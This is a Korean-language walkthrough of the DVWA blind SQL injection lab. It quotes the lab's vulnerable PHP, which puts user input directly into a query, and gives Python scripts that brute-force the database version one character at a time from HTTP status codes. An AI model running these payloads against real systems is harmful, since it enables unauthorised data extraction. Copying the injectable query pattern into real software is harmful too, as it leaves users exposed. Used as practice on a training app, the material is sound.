이번 문제는 sql의 substr을 이용하여 한 문자씩 서버에 물어보면서 원하는 문자열을 구하는 blind sql injection이다.
먼저 코드를 보지말고 웹페이지를 보자.
blind sql injection에서는 user id를 입력했을 때 그 id가 존재하는지에 대한 여부만 알려준다.
아래는 admin의 user_id인 1을 입력했을 때나 전에 실행되는 참인 sql문을 삽입했을 때 나오는 결과이다.
존재한다고 뜬다.
아래는 이상한 숫자나 오류가 나는 sql문을 삽입했을 때 나오는 결과이다.
database에는 그런 데이터가 없다는 문구가 뜬다.
그리고 패킷을 잡아서 요청과 응답을 분석해보자.
아래는 1이라는 id를 입력했을 때 요청 패킷과 응답 패킷이다.
status코드가 200으로 정상적인 응답이 온다.
하지만 아래처럼 167이라는 존재하지 않는 user_id를 입력하게 되면 404코드가 오게 된다.
이것을 통해 알 수 있는 것은 sql문이 실행이 되어 결과값이 참일 때는 200 결과값이 false라서 오류가 날 때에는 404코드가 온다는 것을 알 수 있다.
아래는 웹페이지의 서버 코드이다.
sql문을 실행시켜 result에 담고 result를 기준으로 exixts의 내용을 바꾸어준다.
그래서 아까 sql문에 오류가 났을 때 result가 1이 아니게 되어 missing문장이 뜬 것이다.
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
그럼 이 문제에서 원하는 것이 뭔지 알아보자
object를 봤을 때 현재 사용하고 있는 sql의 버전 정보를 가져오는 것이 목적이다.
나는 mariaDB를 사용하고 있기 때문에 version()이라는 함수로 버전 정보를 알 수 있었다.
하지만 브라우저의 입장에서 직접 데이터베이스를 건들 수 있는 방법은 정상적이라면 없다.
그래서 blind sql injection의 방법으로 이 exist와 missing의 여부만 알려주는 서버를 통해 한 문자씩 물으며 버전을 알아보겠다.
사실 버프슈트의 intruder로 exixts 문자열의 여부나 status_code로 브루트 포스 공격을 하여 한 문자씩 알 수 있겠지만 프로페셔널 버전이 아니여서 속도가 굉장히 느리다.
하루종일 할 생각은 없기에 파이썬 코드를 짜보았다.
먼저 버전 문자열의 길이를 파악해야한다.
sql의 length와 version()함수로 알아낼 수 있다.
1' and length(version())= 1 -- 이라는 sql을 삽입했을 때 and 연산자가 있기 때문에 후자가 참이 되어야 200 코드 응답을 받을 수 있을 것이다.
버전의 길이가 1이냐고 질문 했을 때는 당연히 404가 올 것이다.
그래서 반복문으로 브루트 포스 공격을 하였다.
import sys
from urllib.parse import urljoin
from urllib import parse
url = "http://192.168.11.1/dvwa/vulnerabilities/sqli_blind/"
for i in range(1, 50):
param = {
'id': f"1\' AND length(version())={i} -- ",
'Submit': 'Submit'
}
cookies = {
'PHPSESSID': 'ck4i7pcs7mhfsfjril029f3e93',
'security': 'low'
}
res = requests.get(url, params=param, cookies=cookies)
if(res.status_code==200):
print(f"{i}={res.status_code}")
break
print(f"{i}={res.status_code}")
코드를 실행 했을 때 15에 200을 받고 break된다.
version의 길이가 15라는 것을 알 수 있었다.
이제 한 글자씩 substr(version(),1,1)로 알아보자
위에 substr은 version() 문자열의 1번째 부터 시작해서 하나의 문자만 알려달라는 의미이다.
그렇다면 나는 sql문을 1' and substr(version(),1~15,1)='임의의 문자' -- 이런식으로 삽입해야 할 것이다.
임의 문자는 . / 알파벳 숫자등을 포함할 수 있는 아스키 코드 범위인 0~127을 사용하면 된다.
그럼 아래와 같이 코드를 짜보자.
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
from urllib import parse
from tqdm import tqdm
url = "http://192.168.11.1/dvwa/vulnerabilities/sqli_blind/"
ver=""
for i in range(1, 16):
for j in range(0,128):
param = {
'id': f"1\' AND substr(version(),{i},1)='{chr(j)}' -- ",
'Submit': 'Submit'
}
cookies = {
'PHPSESSID': 'ck4i7pcs7mhfsfjril029f3e93',
'security': 'low'
}
res=requests.get(url,params=param,cookies=cookies)
if (res.status_code==200):
ver+=chr(j)
print(f"{i}번째 문자:{ver}")
break
print(f"version is {ver}")
그리고 실행하여서 아래처럼 버전의 정보를 얻을 수 있다.